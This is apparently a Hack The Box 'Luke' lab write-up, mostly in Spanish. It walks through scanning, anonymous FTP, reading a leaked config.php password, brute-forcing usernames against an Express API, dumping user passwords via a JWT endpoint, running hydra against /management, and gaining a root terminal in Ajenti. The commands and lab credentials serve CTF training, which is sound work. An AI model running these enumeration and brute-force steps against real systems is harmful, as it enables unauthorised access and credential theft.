Hack The Box: Luke Writeup | Medium

Table of Contents

Hack The Box: Luke Writeup

Welcome to my detailed writeup of the medium difficulty machine “Luke” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.96.55 --ulimit 5000 -g 
210.129.96.55 -> [21,22,80,3000,8000]
 1$ nmap -p21,22,80,3000,8000 -sCV 10.129.96.55 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 22:29 CEST
 3Stats: 0:02:18 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
 4Service scan Timing: About 80.00% done; ETC: 22:32 (0:00:35 remaining)
 5Nmap scan report for 10.129.96.55
 6Host is up (0.036s latency).
 7
 8PORT     STATE SERVICE VERSION
 921/tcp   open  ftp     vsftpd 3.0.3+ (ext.1)
10| ftp-syst: 
11|   STAT: 
12| FTP server status:
13|      Connected to 10.10.14.18
14|      Logged in as ftp
15|      TYPE: ASCII
16|      No session upload bandwidth limit
17|      No session download bandwidth limit
18|      Session timeout in seconds is 300
19|      Control connection is plain text
20|      Data connections will be plain text
21|      At session startup, client count was 2
22|      vsFTPd 3.0.3+ (ext.1) - secure, fast, stable
23|_End of status
24| ftp-anon: Anonymous FTP login allowed (FTP code 230)
25|_drwxr-xr-x    2 0        0             512 Apr 14  2019 webapp
2622/tcp   open  ssh?
27|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
2880/tcp   open  http    Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
29|_http-title: Luke
30| http-methods: 
31|_  Potentially risky methods: TRACE
32|_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3
333000/tcp open  http    Node.js Express framework
34|_http-title: Site doesn't have a title (application/json; charset=utf-8).
358000/tcp open  http    Ajenti http control panel
36|_http-title: Ajenti
37
38Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
39Nmap done: 1 IP address (1 host up) scanned in 182.03 seconds

UDP Enumeration

1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.96.55 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 22:33 CEST
3Nmap scan report for 10.129.96.55
4Host is up (0.055s latency).
5All 1500 scanned ports on 10.129.96.55 are in ignored states.
6Not shown: 1305 open|filtered udp ports (no-response), 195 closed udp ports (port-unreach)
7
8Nmap done: 1 IP address (1 host up) scanned in 0.80 seconds

FTP Enumeration

Podemos iniciar sesión de forma anónima en el FTP, encontramos un archivo llamado for_Chihiro.txt

Dear Chihiro !!

As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of 
the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies ! 

Derry

De este mensaje podemos sacar la conclusión de que existen dos usuarios, chihiro y derry y de que en alguna parte debe de haber recursos que no deberían de estar debido a las políticas de seguridad.

80/TCP Enumeration

1$ whatweb http://10.129.96.55
2http://10.129.96.55 [200 OK] Apache[2.4.38], Bootstrap, Country[RESERVED][ZZ], Email[contact@luke.io], HTML5, HTTPServer[FreeBSD][Apache/2.4.38 (FreeBSD) PHP/7.3.3], IP[10.129.96.55], JQuery, PHP[7.3.3], Script, Title[Luke]

Encontramos el dominio luke.io

Vemos que se está utilizando PHP por detrás.

 1$ feroxbuster -u http://10.129.96.55 -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php -d 2 -t 100
 2                                                                                          
 3 ___  ___  __   __     __      __         __   ___
 4|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
 5|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
 6by Ben "epi" Risher 🤓                 ver: 2.10.4
 7───────────────────────────┬──────────────────────
 8 🎯  Target Url            │ http://10.129.96.55
 9 🚀  Threads               │ 100
10 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
11 👌  Status Codes          │ All Status Codes!
12 💥  Timeout (secs)        │ 7
13 🦡  User-Agent            │ feroxbuster/2.10.4
14 🔎  Extract Links         │ true
15 💲  Extensions            │ [php]
16 🏁  HTTP methods          │ [GET]
17 🔃  Recursion Depth       │ 2
18───────────────────────────┴──────────────────────
19 🏁  Press [ENTER] to use the Scan Management Menu™
20──────────────────────────────────────────────────
21404      GET        7l       24w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
22403      GET        9l       24w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
23200      GET       29l       99w      927c http://10.129.96.55/js/scrolling-nav.js
24200      GET       40l       77w      793c http://10.129.96.55/css/signin.css
25200      GET       12l       32w      323c http://10.129.96.55/css/scrolling-nav.css
26200      GET        7l      965w    76308c http://10.129.96.55/vendor/bootstrap/js/bootstrap.bundle.min.js
27200      GET        6l     1429w   121200c http://10.129.96.55/css/bootstrap.min.css
28301      GET        7l       20w      235c http://10.129.96.55/member => http://10.129.96.55/member/
29200      GET       39l      118w     1593c http://10.129.96.55/login.php
30401      GET       12l       46w      381c http://10.129.96.55/management
31301      GET        7l       20w      232c http://10.129.96.55/css => http://10.129.96.55/css/
32301      GET        7l       20w      231c http://10.129.96.55/js => http://10.129.96.55/js/
33301      GET        7l       20w      235c http://10.129.96.55/vendor => http://10.129.96.55/vendor/
34200      GET        6l       25w      202c http://10.129.96.55/config.php
35200      GET      108l      240w     3138c http://10.129.96.55/
36200      GET       21l      172w     1093c http://10.129.96.55/LICENSE
37404      GET        7l       25w      203c http://10.129.96.55/%20.php
38🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_10_129_96_55-1722890241.state ...
39[##>-----------------] - 17s    22962/220575  3m      found:15      errors:20     
40[#>------------------] - 17s    11436/220545  688/s   http://10.129.96.55/ 
41[####################] - 0s    220545/220545  926660/s http://10.129.96.55/css/ => Directory listing
42[####################] - 0s    220545/220545  2864221/s http://10.129.96.55/vendor/ => Directory listing
43[####################] - 0s    220545/220545  5513625/s http://10.129.96.55/member/ => Directory listing
44[####################] - 0s    220545/220545  5513625/s http://10.129.96.55/js/ => Directory listing

Vemos una ruta /management y otra /member que me llaman la atención.

Vemos un config.php que sospechosamente nos reporta que tiene contenido.

Genial..

1$ curl http://10.129.96.55/config.php
2$dbHost = 'localhost';
3$dbUsername = 'root';
4$dbPassword  = 'Zk6heYCyv6ZE9Xcg';
5$db = "login";
6
7$conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or die("Connect failed: %s\n". $conn -> error);

Tenemos una credencial Zk6heYCyv6ZE9Xcg No sabemos para qué aún.

No consigo iniciar sesión en este panel. Write-up Image

El endpoint de /management también está protegido y no consigo iniciar sesión. Write-up Image

La ruta /member está vacia.

3000/TCP & 8000/TCP

Por el puerto :3000 parece que hay una API por detrás. Write-up Image

Por el puerto :8000 hay un CMS llamado Ajenti. Write-up Image

Hay varias vulnerabilidades asociadas a Ajenti, pero necesito estar autenticado. Write-up Image

Decidí investigar un poco mas la API.

1$ curl -X GET http://10.129.96.55:3000 -H 'Authorization: test'
2{"success":false,"message":"Token is not valid"}

Intenté varias cosas pero nada funcionó, así que vamos a fuzzear a ver si encontramos algún endpoint curioso.

Write-up Image

Vemos un endpoint /users pero necesito estar autenticado

1$ curl -X GET http://10.129.96.55:3000/users -H 'Authorization: '
2{"success":false,"message":"Auth token is not supplied"}
1$ curl -X POST http://10.129.96.55:3000/login --data "username=root&password=test"Forbidden┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/luke/content]
2└──╼ [★]$ curl -X POST http://10.129.96.55:3000/login --data "user=root&password=test"
3Bad Request┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/luke/content]
4└──╼ [★]$ curl -X POST http://10.129.96.55:3000/login --data "username=root&password=test"Forbidden┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/luke/content]

Deduzco que la data se la tengo que mandar en formato x-www-form-urlencoded y que los campos son username y password

1$ curl -X POST http://10.129.96.55:3000/login --data "username=root&password=test"Forbidden┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/luke/content]
2└──╼ [★]$ curl -X POST http://10.129.96.55:3000/login --data "user=root&password=test"
3Bad Request┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/luke/content]
4└──╼ [★]$ curl -X POST http://10.129.96.55:3000/login --data "username=root&password=test"Forbidden┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/luke/content]

Intento iniciar sesión con las credenciales que ya tenía.

1$ curl -X POST http://10.129.96.55:3000/login --data "username=root&password=Zk6heYCyv6ZE9Xcg"
2Forbidden┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/luke/content]
3└──╼ [★]$ curl -X POST http://10.129.96.55:3000/login --data "username=chihiro&password=Zk6heYCyv6ZE9Xcg"
4Forbidden┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/luke/content]
5└──╼ [★]$ curl -X POST http://10.129.96.55:3000/login --data "username=derry&password=Zk6heYCyv6ZE9Xcg"
6Forbidden

Y nada. Así que probé a hacer una pequeña fuerza bruta…

Y sorprendentemente funcionó.

 1$ for username in $(cat /opt/SecLists/Usernames/cirt-default-usernames.txt | awk '{print tolower($0)}'); do echo " -> $username"; curl -X POST http://10.129.96.55:3000/login --data "username=$username&password=Zk6heYCyv6ZE9Xcg"; done
 2 -> !root
 3Forbidden -> $aloc$
 4Forbidden -> $srv
 5Forbidden -> $system
 6Forbidden -> (null)
 7Forbidden -> (any)
 8Forbidden -> (created)
 9Forbidden -> 1
10Forbidden -> 11111111
11Forbidden -> 12.x
12Forbidden -> 1502
13Forbidden -> 18140815
14Forbidden -> 1nstaller
15Forbidden -> 2
16Forbidden -> 22222222
17Forbidden -> 30
18Forbidden -> 31994
19Forbidden -> 4dgifts
20Forbidden -> 5
21Forbidden -> 6.x
22Forbidden -> 7
23Forbidden -> adams
24Forbidden -> adldemo
25Forbidden -> admin
26{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzIyODg0MDU2LCJleHAiOjE3MjI5NzA0NTZ9.FyEpFhkz8V0rIXmjcegdmvZ2sXIdPO-OMdVa6OD0C_Y"} -> administrator

Ahora podemos ver mas usuarios…

 1$ curl -s -X GET http://10.129.96.55:3000/users -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzIyODg0MDU2LCJleHAiOjE3MjI5NzA0NTZ9.FyEpFhkz8V0rIXmjcegdmvZ2sXIdPO-OMdVa6OD0C_Y' | jq
 2[
 3  {
 4    "ID": "1",
 5    "name": "Admin",
 6    "Role": "Superuser"
 7  },
 8  {
 9    "ID": "2",
10    "name": "Derry",
11    "Role": "Web Admin"
12  },
13  {
14    "ID": "3",
15    "name": "Yuri",
16    "Role": "Beta Tester"
17  },
18  {
19    "ID": "4",
20    "name": "Dory",
21    "Role": "Supporter"
22  }
23]

Otro comportamiento extraño es que podemos indicar un usuario, esto es común, pero se nos devuelve una contraseña…

1$ curl -s -X GET http://10.129.96.55:3000/users/dory -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzIyODg0MDU2LCJleHAiOjE3MjI5NzA0NTZ9.FyEpFhkz8V0rIXmjcegdmvZ2sXIdPO-OMdVa6OD0C_Y' | jq
2{
3  "name": "Dory",
4  "password": "5y:!xa=ybfe)/QD"
5}

Vamos a recopilar estas credenciales…

 1$ for user in $(cat users.txt); do curl -s -X GET http://10.129.96.55:3000/users/$user -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzIyODg0MDU2LCJleHAiOjE3MjI5NzA0NTZ9.FyEpFhkz8V0rIXmjcegdmvZ2sXIdPO-OMdVa6OD0C_Y' | jq; done
 2{
 3  "name": "Admin",
 4  "password": "WX5b7)>/rp$U)FW"
 5}
 6{
 7  "name": "Derry",
 8  "password": "rZ86wwLvx7jUxtch"
 9}
10{
11  "name": "Yuri",
12  "password": "bet@tester87"
13}
14{
15  "name": "Dory",
16  "password": "5y:!xa=ybfe)/QD"
17}

Foothold

Ahora teniendo una lista de usuarios y credenciales, podemos probar a autenticarnos en /management o entrar en el Ajenti.

Fijándonos en este post…

1$ hydra -L users.txt -P credentials.txt -s 80 -f 10.129.96.55 http-get /managementHydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
2
3Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-05 23:02:21
4[DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (l:4/p:4), ~1 try per task
5[DATA] attacking http-get://10.129.96.55:80/management
6[80][http-get] host: 10.129.96.55   login: Derry   password: rZ86wwLvx7jUxtch
7[STATUS] attack finished for 10.129.96.55 (valid pair found)
81 of 1 target successfully completed, 1 valid password found
9Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-05 23:02:22

Y al acceder a /management vemos un hipervínculo hacia /management/config.json Write-up Image

Vemos unas credenciales justo debajo de lo que parece ser la configuración del Ajenti

Buscando en Google vemos que por defecto, en Ajenti el usuario administrador se llama root

Así que probando root:KpMasng6S5EtTy9Z Write-up Image

Antes de probar ningún exploit, vemos un apartado Terminal donde podemos crear una supuesta consola.. Write-up Image

Veo que estoy en la máquina víctima (no hay ningún contenedor) y que encima estoy ejecutando comandos como root Write-up Image

Y ya podríamos leer las flags. dos por el precio de una. Write-up Image

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Luke   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Privilege Escalation   #RCE   #Exploit   #FreeBSD   #Web Fuzzing   #Information Leakage   #Password Spraying   #Abusing API   #Bruteforcing   #Abusing Ajenti Terminal